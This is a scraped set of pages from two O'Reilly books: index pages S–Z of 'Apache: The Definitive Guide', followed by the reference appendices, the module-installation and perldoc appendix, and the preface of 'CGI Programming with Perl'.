ScriptAlias directive: 4.2. Writing and Executing Scripts
4.3.1. ScriptAlias
8. Redirection
ScriptAliasMatch directive: 4.3.2. ScriptAliasMatch
8.2. ScriptAliasMatch
ScriptLog directive: 4.3.3. ScriptLog
ScriptLogBuffer directive: 4.3.4. ScriptLogLength
ScriptLogLength directive: 4.3.4. ScriptLogLength
scripts, CGI (see CGI)
security: 1. Getting Started
13. Security
access control: 5.6. Order, Allow, and Deny
anonymous access: 5.8. Anonymous Access
Apache precautions: 13.2. Apache's Security Precautions
authentication (see authentication)
blocking access (see access control)
certificates: 13.3.1. Certificates
13.6.5. Make a Test Certificate
cipher suites: 13.8. Cipher Suites
cookies: 5.10.2. Cookies
encryption: 13.3. Binary Signatures, Virtual Cash
firewalls: 13.4. Firewalls
fixed-length buffers: 15.5. General Hints
.htaccess file (see .htaccess file)
IgnoreIndex directive and: 7.1.3. IndexIgnore
legal issues: 13.5. Legal Issues
logging and (see logging)
national security: 13.5.2. National Security
passwords: 5.3. Passwords Under Unix
protecting application data: D.2. Protecting Application Data
proxy servers: 9. Proxy Server
SSL (Secure Sockets Layer): 13.6. Secure Sockets Layer: How to Do It
Apache directives for: 13.7. Apache-SSL's Directives
Apache-SSL patch: 13.6.2. Get the Apache-SSL Patch
CGI and: 13.9. SSL and CGI
suEXEC wrapper for CGI: 4.7. suEXEC on Unix
Unix permissions: 2.4.4. Unix Permissions
Win32: 1.3. How Does Apache Use TCP/IP?
2.5.1. Security Under Win32
semaphores: 14.6.9.2. Semaphore Functions
semiformatted menus: 7.3.5. ImapMenu
send-as-is handler: 4.8. Handlers
SendBufferSize directive: 3.4.12. SendBufferSize
send_fd(): 14.6.14. TCP/IP and I/O Functions
send_fd_length(): 14.6.14. TCP/IP and I/O Functions
send_http_header(): 14.6.14. TCP/IP and I/O Functions
separate networks: 13.4.2. Separate Networks
server
configuration files: 2.3. site.toddle
Unix, setting up: 2.4. Setting Up a Unix Server
Win32, setting up: 2.5. Setting Up a Win32 Server
server-info handler: 4.8. Handlers
server-parsed handler: 4.8. Handlers
server-side includes: 10. Server-Side Includes
CGI scripts executed as: 10. Server-Side Includes
10.4. Execute CGI
IncludesNoExec (Options directive): 3.11. Options
3.11. Options
scripting modules: 12.7. Server-Side Scripting
XSSI facility: 10.7. XSSI
server-status handler: 4.8. Handlers
ServerAdmin directive: 3.4.3. ServerAdmin
ServerAlias directive: 3.4.6. ServerAlias
ServerName directive: 2.4.2. Running Apache Under Unix
2.5. Setting Up a Win32 Server
3.4.1. ServerName
ServerPath directive: 3.4.7. ServerPath
server_rec structure: 14.2. Per-Server Configuration
14.5. Access to Configuration and Request Information
ServerRoot directive: 3.4.8. ServerRoot
servers: 1.5. What Happens at the Server End?
child, setting limits on: 3.6.2. MaxRequestsPerChild
information on: 11.3. Server Status
API functions for: 14.6.19. Server Information Functions
maximum wait for requests: 3.4.16. TimeOut
NCSA, Apache and: C. NCSA and Apache Compatibility
per-server configuration: 14.2. Per-Server Configuration
15.3.1. Create Per-Server Config Structure
15.3.3. Per-Server Merger
proxy servers: 1. Getting Started
9. Proxy Server
security (see security)
ServerSignature directive: 3.4.4. ServerSignature
ServerTokens directive: 3.4.5. ServerTokens
ServerType directive: 3.9.5. ServerType
service, Apache as (Win32): 2.5. Setting Up a Win32 Server
sessions, resuming: D.1.4. Resuming Sessions
SetEnv directive: 4.6.1. SetEnv
4.6.2. UnsetEnv
SetEnvIf directive: 4.6.4.1. SetEnvIf and SetEnvIfNoCase
SetEnvIfNoCase directive: 4.6.4.1. SetEnvIf and SetEnvIfNoCase
set_event(): 14.6.9.3. Event Functions
SetHandler directive: 4.8.2. SetHandler
11.3. Server Status
setup_client_block(): 14.6.14. TCP/IP and I/O Functions
shapes of imagemap hotspots: 7.3.4. HTML File
shell output: 13.2. Apache's Security Precautions
should_client_block(): 14.6.14. TCP/IP and I/O Functions
.shtml filename extension: 10. Server-Side Includes
Simple Mail Transfer Protocol (SMTP): 13.4.2.2. Disadvantages
simultaneous requests: 3.6.1. MaxClients
sites direcctory (on CD-ROM): 0.2. The Demonstration CD-ROM
size
cache: 9.2.2. CacheSize
files: 10. Server-Side Includes
10.1. File Size
pool: 14.6.1. Pool Functions
TCP send buffer: 3.4.12. SendBufferSize
SMTP (Simple Mail Transfer Protocol): 13.4.2.2. Disadvantages
sockets, API functions for: 14.6.5. File and Socket Functions
SOCKS rules: 1.8.4. Configuration Settings and Rules
soft_timeout(): 14.6.16. Timeout and Alarm Functions
spawn_child_err(): 14.6.7. Process and CGI Functions
spell-checking URLs: 8.9. Speling
12.10. Miscellaneous
SSI (see server-side includes)
SSL (Secure Sockets Layer): 13.6. Secure Sockets Layer: How to Do It
Apache directives for: 13.7. Apache-SSL's Directives
Apache-SSL patch: 13.6.2. Get the Apache-SSL Patch
CGI and: 13.9. SSL and CGI
protecting application data: D.2. Protecting Application Data
protocol specification: D. SSL Protocol
SSLBanCipher directive: 13.8.3. SSLBanCipher
SSLCACertificateFile directive: 13.7.9. SSLCACertificateFile
SSLCACertificatePath directive: 13.7.8. SSLCACertificatePath
SSLCacheServerPath directive: 13.7.4. SSLCacheServerPath
SSLCacheServerPort directive: 13.7.6. SSLCacheServerPort
SSLCacheServerRunDir directive: 13.7.5. SSLCacheServerRunDir
SSLCertificateFile directive: 13.7.10. SSLCertificateFile
SSLCertificateKeyFile directive: 13.7.11. SSLCertificateKeyFile
SSLDisable directive: 13.7.1. SSLDisable
SSLeay library: 13.6.1. Get SSLeay
SSLEnable directive: 13.7.2. SSLEnable
SSLExportClientCertificates directive: 13.9.1. SSLExportClientCertificates
SSLFakeBasicAuth directive: 13.7.14. SSLFakeBasicAuth
SSLLogFile directive: 13.7.16. SSLLogFile
SSLRequireCipher directive: 13.8.2. SSLRequireCipher
SSLRequiredCiphers directive: 13.8.1. SSLRequiredCiphers
SSLRequireSSL directive: 13.7.3. SSLRequireSSL
SSLSessionCacheTimeout directive: 13.7.7. SSLSessionCacheTimeout
SSLVerifyClient directive: 13.7.12. SSLVerifyClient
SSLVerifyDepth directive: 13.7.13. SSLVerifyDepth
standalone mode: 1.5. What Happens at the Server End?
standalone mode (ServerType): 3.9.5. ServerType
start flag (apachect1): 2.4. Setting Up a Unix Server
StartServers directive: 3.6.5. StartServers
status codes, HTTP: 11.5.5. site.authent--Another Example
15.2. Status Codes
status flag (apachect1): 2.4. Setting Up a Unix Server
status information: 11.2. Status
STATUS rule: 1.8.4. Configuration Settings and Rules
stop flag (apachect1): 2.4. Setting Up a Unix Server
stop script (example): 2.4. Setting Up a Unix Server
strcasecmp_match(): 14.6.11. String Functions
strcmp_match(): 14.6.11. String Functions
strftime(): 10.2. File Modification Time
strings
API functions for: 14.6.11. String Functions
in pools: 14.6.1. Pool Functions
subnet masks: 1.2. What to Know About TCP/IP
sub_req_lookup_file(): 14.6.15. Request-Handling Functions
sub_req_lookup_uri(): 14.6.15. Request-Handling Functions
substitutions within URLs: 8.8. Rewrite
12.9. URL Rewriting
example of: 8.8.8. A Rewrite Example
suEXEC wrapper: 4.7. suEXEC on Unix
superuser: 1.3. How Does Apache Use TCP/IP?
2.4. Setting Up a Unix Server
SuppressSize option (IndexOptions): 7.1.1. IndexOptions
symbolic links: 3.2. Butterthlies, Inc., Gets Going
3.11.1. FollowSymLinks, SymLinksIfOwnerMatch
SymLinksIfOwnerMatch option (Options): 3.11. Options
synchronization, API functions for: 14.6.9. Synchronization and Thread Functions

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: T (Apache: The Definitive Guide)

Apache: The Definitive GuideSearch this book

Index: T

-t flag (httpd/apache): 2.2. Apache's Flags
table_add(): 14.6.3. Table Functions
14.6.3. Table Functions
table_elts(): 14.6.3. Table Functions
table_get(): 14.6.3. Table Functions
table_merge(): 14.6.3. Table Functions
14.6.3. Table Functions
table_set(): 14.6.3. Table Functions
14.6.3. Table Functions
table_unset(): 14.6.3. Table Functions
tables
API functions for: 14.6.3. Table Functions
command table: 15.3.5. Command Table
TCP (Transmission Control Protocol)
send buffer size: 3.4.12. SendBufferSize
TCP/IP: 1.2. What to Know About TCP/IP
API functions for: 14.6.14. TCP/IP and I/O Functions
testing if running: 2.5. Setting Up a Win32 Server
technical support: A. Support Organizations
TEK (token encryption key): D.1.1.4. Fortezza
telnet: 1.4. What the Client Does
testing certificates: 13.6.5. Make a Test Certificate
TFTP protocol: 13.4.1. Packet Filtering
Thawte Consulting: 13.3.1. Certificates
threads: 15.5. General Hints
API functions for: 14.6.9. Synchronization and Thread Functions
ThreadsPerChild directive: 3.7.1. ThreadsPerChild
throttling connections: 12.8. Throttling Connections
time
API functions for: 14.6.10. Time and Date Functions
caching-related: 9.2.5. CacheLastModifiedFactor
display format: 10.2. File Modification Time
expiring (see expiring)
TimeOut directive: 3.4.16. TimeOut
timeouts, functions for: 14.6.16. Timeout and Alarm Functions
tm2sec(): 14.6.10. Time and Date Functions
token encryption key (TEK): D.1.1.4. Fortezza
TRACE method (HTTP): 4.1.2. What Is an HTTP Method?
TransferLog directive: 11.5.2. TransferLog
translating URLs to names: 15.3.9. Translate Name
troubleshooting
Apache security precautions: 13.2. Apache's Security Precautions
imagemaps: 7.3.2. Imap Errors
logging errors: 11.5.1. ErrorLog
prerun mixups to modules: 15.3.16. Prerun Fixups
proxy server configuration: 9.3. Setup
spelling of URLs: 8.9. Speling
12.10. Miscellaneous
SSL: 13.6.7. Site.SSL
suEXEC utility: 4.7. suEXEC on Unix
type checker: 15.3.15. Type Checker
type-map handler: 4.8. Handlers
type maps: 6.4. Type Maps
TypesConfig directive: 6.1.1. TypesConfig

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: U (Apache: The Definitive Guide)

Apache: The Definitive GuideSearch this book

Index: U

-u flag (apache): 2.2. Apache's Flags
"unable to get hostbyname" error: 2.4. Setting Up a Unix Server
uname2id(): 14.6.13. User and Group Functions
unblock_alarms(): 14.6.16. Timeout and Alarm Functions
unescape_url(): 14.6.12. Path, Filename, and URL Manipulation Functions
unformatted menus: 7.3.5. ImapMenu
unique_id_child_init(): 15.3.7.1. Example
Unix operating system
configuring server: 2.4. Setting Up a Unix Server
DBM files: 5.5.1. DBM Files on Unix
file limits: 3.6.6. Unix File Limits
making Apache: 1.8.5. Making Apache
multiple IP addresses: 1.3.1. Multiple Sites: Unix
passwords: 5.3. Passwords Under Unix
permissions: 2.4.4. Unix Permissions
restarting Apache: 3.12. Restarts
suEXEC wrapper: 4.7. suEXEC on Unix
versions of: 1.6. Which Unix?
virtual hosts: 3.6. Controlling Virtual Hosts on Unix
unpacked directory (on CD-ROM): 0.2. The Demonstration CD-ROM
uri_components structure: 14.6.23. URI Functions
URIs (uniform resource identifiers): 1. Getting Started
API functions for: 14.6.23. URI Functions
URLs (uniform resource locators): 1. Getting Started
API functions for: 14.6.12. Path, Filename, and URL Manipulation Functions
digest authentication: 5.1. Authentication Protocol
5.7. Digest Authentication
imagemaps: 7.3.1. ImapBase
limiting directives to: 3.3.4. < Location> and < LocationMatch>
redirecting upon errors: 3.1.1. ErrorDocument
rewriting: 8.8. Rewrite
12.9. URL Rewriting
spell-checking: 8.9. Speling
12.10. Miscellaneous
translating to names: 15.3.9. Translate Name
UseCanonicalName directive: 3.4.2. UseCanonicalName
User directive: 2.4.1.1. User
UserDir directive: 8.5. UserDir
users
API functions for: 14.6.13. User and Group Functions
automatic information on: 5.10. Automatic User Information
checking if access allowed: 15.3.13. Check User ID
creating: 2.4.1. Webuser and Webgroup
DBM files: 5.5.1. DBM Files on Unix
home directories: 8.5. UserDir
permissions (see permissions)
security and: 13.1. Internal and External Users
uudecode(): 14.6.11. String Functions

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: V (Apache: The Definitive Guide)

Apache: The Definitive GuideSearch this book

Index: V

-v flag (httpd/apache): 2.2. Apache's Flags
.var files (see type maps)
variables, environment: 4.6. Setting Environment Variables
access control: 5.6.2. Allow from env
browsers and: 4.6.4. Browsers
variables, printing: 4.4. Useful Scripts
10. Server-Side Includes
10.5. Echo
versions
Apache: 0. Preface
1.7. Which Apache?
HTTP, forcing to 1.0: 4.6.5.2. force-response-1.0
SOCKS: 1.8.4. Configuration Settings and Rules
Unix: 1.6. Which Unix?
version rollback attacks: D.1.2. Version Rollback Attacks
virtual attribute (include command): 10.4. Execute CGI
virtual cash: 13.3. Binary Signatures, Virtual Cash
virtual hosts: 1.2. What to Know About TCP/IP
3.1. More and Better Web Sites: site.simple
3.6. Controlling Virtual Hosts on Unix
3.8. Virtual Hosts
3.9. Two Copies of Apache
(see also multiple copies of Apache)
Unix: 3.6. Controlling Virtual Hosts on Unix
Win32: 3.7. Controlling Virtual Hosts on Win32

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: W (Apache: The Definitive Guide)

Apache: The Definitive GuideSearch this book

Index: W

WANTHSREGEX rule: 1.8.4. Configuration Settings and Rules
web browsers: 4.6.4. Browsers
cookies: 5.10.2. Cookies
HTTP/1.1 and: 6.5. Browsers and HTTP/1.1
icons and: 7.1.4. AddIcon
imagemaps: 7.3. Imagemaps
web redirection: 8. Redirection
web servers: 1.5. What Happens at the Server End?
child servers, limits on: 3.6.2. MaxRequestsPerChild
information on: 11.3. Server Status
controlling access to: 3.4.5. ServerTokens
functions for: 14.6.19. Server Information Functions
maximum wait for requests: 3.4.16. TimeOut
NCSA, Apache and: C. NCSA and Apache Compatibility
per-server configuration: 14.2. Per-Server Configuration
15.3.1. Create Per-Server Config Structure
15.3.3. Per-Server Merger
15.3.4. Per-Directory Merger
proxy servers: 1. Getting Started
9. Proxy Server
security (see security)
server-side includes: 10. Server-Side Includes
IncludesNoExec (Options directive): 3.11. Options
scripting modules: 12.7. Server-Side Scripting
web sites: 1.1. How Does Apache Work?
defined: 2.1. What Is a Web Site?
demonstration: 0.3. Conventions Used in This Book
multiple (see virtual hosts)
webgroup group (example): 2.4.1. Webuser and Webgroup
webuser user (example): 2.4.1. Webuser and Webgroup
Win32: 1.9. Apache Under Windows
configuring server: 2.5. Setting Up a Win32 Server
DSO (Dynamic Shared Objects): 12.12. DSO
home directories: 8.5. UserDir
multiple IP addresses: 1.3.2. Multiple Sites: Win32
passwords: 5.4. Passwords Under Win32
restarting Apache: 3.12. Restarts
security: 1.3. How Does Apache Use TCP/IP?
2.5.1. Security Under Win32
time display format: 10.2. File Modification Time
versions of Apache: 1.7. Which Apache?
virtual hosts: 3.7. Controlling Virtual Hosts on Win32
Windows OS (see Win32)
writing modules: 15. Writing Apache Modules
writing permission: 2.4.4. Unix Permissions

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: X (Apache: The Definitive Guide)

Apache: The Definitive GuideSearch this book

Index: X

-X flag (httpd): 2.2. Apache's Flags
XBitHack facility: 10.6. XBitHack
XSSI facility: 10.7. XSSI

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: Y (Apache: The Definitive Guide)

Apache: The Definitive GuideSearch this book

Index: Y

Year 2001 and time formats: 10.2. File Modification Time
Young, Eric: 13.5.2. National Security

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: Z (Apache: The Definitive Guide)

Apache: The Definitive GuideSearch this book

Index: Z

There are no index entries for this letter.

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


JObjects QuestAgent - "Search by Field" Applet

Search this book

Search this book

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Works Cited and Further Reading (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

Appendix A. Works Cited and Further Reading

Contents:

References
Additional Reading
RFCs
Other Specifications
Project Home Pages
Newsgroups

The appendix contains a list of the references cited throughout this book as well as additional recommended material.

A.1. References

Bekman, Stas. mod_perl Guide. Available online at http://perl.apache.org/guide/.

Christiansen, Tom, and Nathan Torkington. Perl Cookbook. O'Reilly & Associates, 1998.

Costales, Bryan, with Eric Allman. sendmail, Second Edition. O'Reilly & Associates, 1997.

Deep, John, and Peter Holfelder. Developing CGI Applications with Perl. John Wiley & Sons, 1996.

Dobbertin H. "The Status of MD5 After a Recent Attack." RSA Labs' CryptoBytes. Vol. 2, No. 2, Summer 1996. Available at http://www.rsasecurity.com/rsalabs/cryptobytes/.

Friedl, Jeffrey E. F. Mastering Regular Expressions. O'Reilly & Associates, 1997.

Garfinkel, Simson, and Gene Spafford. Practical Unix and Internet Security, Second Edition. O'Reilly & Associates, 1996.

Flanagan, David. JavaScript: The Definitive Guide, Third Edition. O'Reilly & Associates, 1998.

Laurie, Ben, and Peter Laurie. Apache: The Definitive Guide, Second Edition. O'Reilly & Associates, 1999.

Orwant, Jon, Jarkko Hietaniemi, and John Macdonald. Mastering Algorithms with Perl. O'Reilly & Associates, 1999.

Robert, Kirrily "Skud". "In Defense of Coding Standards." January 2000. Available at http://www.perl.com/pub/2000/01/CodingStandards.html.

Siegel, David. Secrets of Successful Web Sites: Project Management on the World Wide Web. Hayden Books, 1997.

Srinivasan, Sriram. Advanced Perl Programming. O'Reilly & Associates, 1997.

Stein, Lincoln. Official Guide to Programming with CGI.pm. John Wiley & Sons, 1998.

Stein, Lincoln, and Doug MacEachern. Writing Apache Modules with Perl and C. O'Reilly & Associates, 1999.

Wall, Larry, Tom Christiansen, and Jon Orwant. Programming Perl, Third Edition. O'Reilly & Associates, 2000.

Wallace, Shawn P. Programming Web Graphics with Perl and GNU Software. O'Reilly & Associates, 1999.

Walsh, Nancy. Learning Perl/Tk. O'Reilly & Associates, 1999.

Zakon, Robert H. Hobbes' Internet Timeline (v4.1). Available online at http://www.isoc.org/zakon/.

Previous | Home | Next
17.3. mod_perl | Book Index | A.2. Additional Reading
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Additional Reading (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

A.2. Additional Reading

Bentley, Jon. Programming Pearls. Addison-Wesley, 1986.

Hunter, Jason. "The Problem with JSP." January 2000. Available online at http://www.servlets.com/soapbox/problems-jsp.html.

Kernighan, Brian W., and Dennis M. Ritchie. The C Programming Language, Second Edition. Prentice Hall, 1988.

Killelea, Patrick. Web Performance Tuning. O'Reilly & Associates, 1998.

McConnell, Steven C. Code Complete. Microsoft Press, 1993.

McConnell, Steven C. Software Project Survival Guide. Microsoft Press, 1998.

Udell, Jon. Practical Internet Groupware. O'Reilly & Associates, 1999.

Previous | Home | Next
A. Works Cited and Further Reading | Book Index | A.3. RFCs
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


RFCs (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

A.3. RFCs

RFCs are available online from a variety of web sites; http://www.faqs.org/rfcs/ is a good source.

Berners-Lee, Tim. Universal Resource Identifiers in WWW. RFC 1630. June 1994.

Berners-Lee, Tim, et al. Hypertext Transfer Protocol -- HTTP/1.0. RFC 1945. May 1996.

Berners-Lee, Tim, et al. Uniform Resource Identifiers (URI): Generic Syntax. RFC 2396. August 1998.

Berners-Lee, Tim, et al. Uniform Resource Locators (URL). RFC 1738. December 1994.

Coar, Ken, and David Robinson. The WWW Common Gateway Interface Version 1.1. Internet draft. June 1999. This is not (yet) an RFC; it is available at http://web.golux.com/coar/cgi/.

Crocker, David H. Standard for the Format of ARPA Internet Text Messages. RFC 822. August 1982.

Fielding, Roy. Relative Uniform Resource Locators. RFC 1808. June 1995.

Fielding, Roy, et al. Hypertext Transfer Protocol -- HTTP/1.1. RFC 2616. June 1999.

Franks, John, et al. HTTP Authentication: Basic and Digest Access Authentication. RFC 2617. June 1999.

Goland, Y. Y., et al. HTTP Extensions for Distributed Authoring -- WEBDAV. RFC 2518. February 1999.

Kristol, David, and Lou Montulli. HTTP State Management Mechanism. RFC 2109. February 1997.

Mockapetris, P. Domain Names -- Implementation and Specification. RFC 883. November 1983.

Previous | Home | Next
A.2. Additional Reading | Book Index | A.4. Other Specifications
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Other Specifications (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

A.4. Other Specifications

HTML 4.0 Reference Specification: http://www.w3.org/TR/REC-html40/

HTML 3.2 Reference Specification: http://www.w3.org/TR/REC-html32.html

HTTP Media Types: ftp://ftp.iana.org/in-notes/iana/assignments/media-types/

NCSA Common Gateway Interface: http://hoohoo.ncsa.uiuc.edu/cgi/

Previous | Home | Next
A.3. RFCs | Book Index | A.5. Project Home Pages
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Project Home Pages (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

A.5. Project Home Pages

Apache: http://www.apache.org/

Bookmarklets: http://www.bookmarklets.com/

CPAN: http://www.cpan.org/ (mirrored worldwide:http://www.cpan.org/SITES.html )

Embperl: http://perl.apache.org/embperl/

FastCGI: http://www.fastcgi.com/

Mason: http://www.masonhq.com/

mod_perl: http://perl.apache.org/

Perl: http://www.perl.com/

Previous | Home | Next
A.4. Other Specifications | Book Index | A.6. Newsgroups
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Newsgroups (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

A.6. Newsgroups

Perl Announcements: news:comp.lang.perl.announce

Perl Miscellaneous: news:comp.lang.perl.misc

Perl Modules: news:comp.lang.perl.modules

Previous | Home | Next
A.5. Project Home Pages | Book Index | B. Perl Modules
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Perl Modules (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

Appendix B. Perl Modules

Contents:

CPAN
perldoc

This book discusses many Perl modules that may not be included with your system. This appendix contains instructions for installing modules from CPAN. It also discusses how to use perldoc to access documentation.

B.1. CPAN

CPAN is the Comprehensive Perl Archive Network, found at http://www.cpan.org/ and at numerous mirrors around the world (see http://www.cpan.org/SITES.html). From CPAN you can download source code and binary distributions of Perl, plus all of the modules we mentioned in this book and many other scripts and modules.

You can browse the very long list of modules at http://www.cpan.org/modules/00modlist.long.html. If you know the name of a module you wish to download, then you can generally find it via the first word of the module's name. For example, you can download Digest::MD5 from http://www.cpan.org/modules/by-module/Digest/. The filename within that directory is Digest-MD5-2.09.tar.gz (note that the version number, 2.09, will likely change by the time you read this book).

B.1.1. Installing Modules

All Perl modules distributed on CPAN follow a consistent install process, but some modules are easier to install than others. Some have dependencies on other modules, and some include C source code that must be compiled and often linked to other libraries on your system.

You may have difficulty compiling the modules that contain C code. Most commercial distributions of Unix do not include an ANSI C compiler. You can generally obtain a prebuilt binary of the gcc compiler instead. Check software archive sites specific to your platform (for example, http://www.sun.com/sunsite/ for Solaris and http://hpux.cae.wisc.edu/ for HP/UX). Linux and BSD systems should already have the tools you need.

If you are using ActiveState's release of Perl on Win32, then you can use the Perl Package Manager to download pre-built binary modules from ActiveState. Visit http://www.activestate.com/PPM/ for more information.

The simplest way to install modules on Unix and compatible systems is to use the CPAN.pm module. You can invoke it like this, typically as the superuser:

# perl -MCPAN -e shell

It creates an interactive shell, from which you to get information about modules on CPAN and install or update modules on your system. The first time you run CPAN, it will prompt you for configuration information that tells it what tools are available for downloading modules, and what CPAN mirrors to use.

Once CPAN is configured, you can install a module by simply typing install followed by the name of the module:

cpan> install Digest::MD5

CPAN will fetch the requested module and install it. CPAN recognizes dependencies on other modules and will automatically install required modules for you. There are several other commands available besides install; you can get a full list by entering a question mark at the prompt.

Occasionally, CPAN will not be able to install a module for you. In that case, you will have to install a module manually. On Unix and compatible systems, you should use the following steps after you have downloaded a module:

$ gzip -dc Digest-MD5-2.09.tar.gz | tar xvf -
$ cd Digest-MD5-2.09
$ perl Makefile.PL
$ make
$ make test
$ su
# make install

If make or make test fails, then you will need to find and fix the problem. Check the documentation included with the module for assistance. If the module you have downloaded contains C code that links to other libraries, verify that the versions of your libraries match what the Perl module expects. You might also search past newsgroup postings for anyone who already encountered and solved the same problem. You can use http://www.deja.com/usenet/ for this; navigate to the advanced news search and search comp.lang.perl.modules for related terms.

If you have verified any version dependencies, cannot find any answers in the documentation, cannot find any answers in past newsgroup postings, and cannot solve the problem yourself, then post a polite, detailed message to news:comp.lang.perl.modules explaining the problem and asking for assistance. You probably should not use deja.com for this, however. Unfortunately, some of the most knowledgeable and helpful Perl coders filter out news messages posted from deja.com (for the same reason, you may want to avoid sending your message from a Microsoft mail application, too).

Previous | Home | Next
A.6. Newsgroups | Book Index | B.2. perldoc
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


perldoc (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

B.2. perldoc

Developers new to Perl often overlook a very valuable source of information: perldoc. perldoc is Perl's documentation viewer; it allows you to read documentation in Perl's pod (plain old documentation) format. This provides a wealth of information about Perl, plus modules. Virtually every module included with Perl and available on CPAN includes pod.

If perl works on your system but the perldoc command does not, you may need to search your system for it. It is installed with Perl by default, but depending on the installation, it may not have been installed in a standard executable directory. You can also fall back to using man instead. pod pages are typically converted to manpages when they are installed.

To get started, try the following command:

$ perldoc perl

This provides a basic description of Perl along with a list of the Perl manual sections available. For instance, typing:

$ perldoc perlsec

will display the Perl security section. perldoc has a number of options; you can get the usage of perldoc this way:

$ perldoc perldoc

perldoc is very useful with modules. You can view the extensive documentation for CGI.pm this way:

$ perldoc CGI

This sequence works for multiple-word modules:

$ perldoc Digest::MD5

Note that the requested module must be present; perldoc does not fetch documentation from CPAN. In addition to package names, you can also supply a filename to perldoc; this allows you to view the documentation for a module before it is installed:

$perldoc ./MD5.pm

pod is typically stored within .pm files, although separate .pod files are possible.

Finally, if you prefer a graphical interface, you may wish to look at the Tk::Pod module.

Previous | Home | Next
B. Perl Modules | Book Index | Index
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Preface (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

Preface

The first edition of CGI Programming on the World Wide Web was published in early 1996. The Web was very different then: the number of web hosts was 100,000, Netscape Navigator 2.0 (the first JavaScript [image] -enabled browser) was released, and Java [image] was less than a year old and was used primarily for applets. The Web was still young, but it was developing quickly.

In 1996, CGI was the only stable and well-understood method for creating dynamic content on the Web. However, very few sites exploited its full potential. In the first edition, Shishir wrote:

Today's computer users expect custom answers to particular questions. Gone are the days when people were satisfied by the computing center staff passing out a single, general report to all users. Instead, each salesperson, manager, and engineer wants to enter specific queries and get up-to-date responses. And if a single computer can do that, why not the Web?

This is the promise of CGI. You can display sales figures for particular products month by month, as requested by your staff, using beautiful pie charts or plots. You can let customers enter keywords in order to find information on your products.

In 1996, these were bold claims. Today, they describe business as usual. That promise of CGI has certainly been fulfilled.

This book is about more than writing CGI scripts. It is about programming for the Web. Although we focus on CGI programming with Perl (thus the title change for this edition), many of the concepts we cover are common to all server-side web development. Even if you find yourself working with alternative technologies down the road, the effort you invest learning CGI now will continue to yield value later.

0.1. What's in the Book

Because CGI has changed so much in the last few years, it is only appropriate that this new edition reflect the changes. Thus, most of this book has been rewritten. New topics include CGI.pm, HTML templates, security, JavaScript, XML, search engines, style suggestions, and compatible, high-performance alternatives to CGI. Previous topics, such as session management, email, dynamic images, and relational databases, have been expanded and updated. Finally, we modified our presentation of CGI to begin with a discussion of HTTP, the underlying language of the Web. An understanding of HTTP provides a foundation for a more thorough understanding of CGI.

Despite the changes, the original goal of this book remains the same: to teach you everything you need to know to become a good CGI developer. This is not a learn-by-example book -- it isn't built around a handful of CGI scripts with a discussion of how each script works. There are already lots of books like that available for CGI. While these books can certainly be useful, especially if one of the examples matches a particular challenge you are facing, they often teach how without explaining why. The aim of this book is to cover the fundamentals so that you can create CGI scripts to tackle any challenge. Don't worry, though, because we'll look at lots of examples. But our examples will serve to illustrate the discussion, rather than the other way around.

We should admit up front that there is a Unix bias in this book. Both Perl and CGI were originally conceived for the Unix platform, so it remains the most popular platform for Perl and CGI development. Of course, Perl and CGI support numerous other systems, including Microsoft's popular 32-bit Windows systems: Windows 95, Windows 98, Windows NT, and Windows 2000 (hereafter collectively referred to as Win32 ). Throughout this book, we will focus on Unix, but we'll also point out those things you need to be aware of when developing for non-Unix-compatible systems.

We use the Apache web server throughout our examples. There are several reasons: it is the most popular web server used today, it is available for the most platforms, it is free, it is open source, and it supports modules (such as mod_perl and mod_ fastcgi) that improve both the power and the performance of Perl for web development.

Previous | Home | Next
Copyright Page | Book Index | 0.2. What You Are Expected to Know Before Reading
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


What You Are Expected to Know Before Reading (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

0.2. What You Are Expected to Know Before Reading

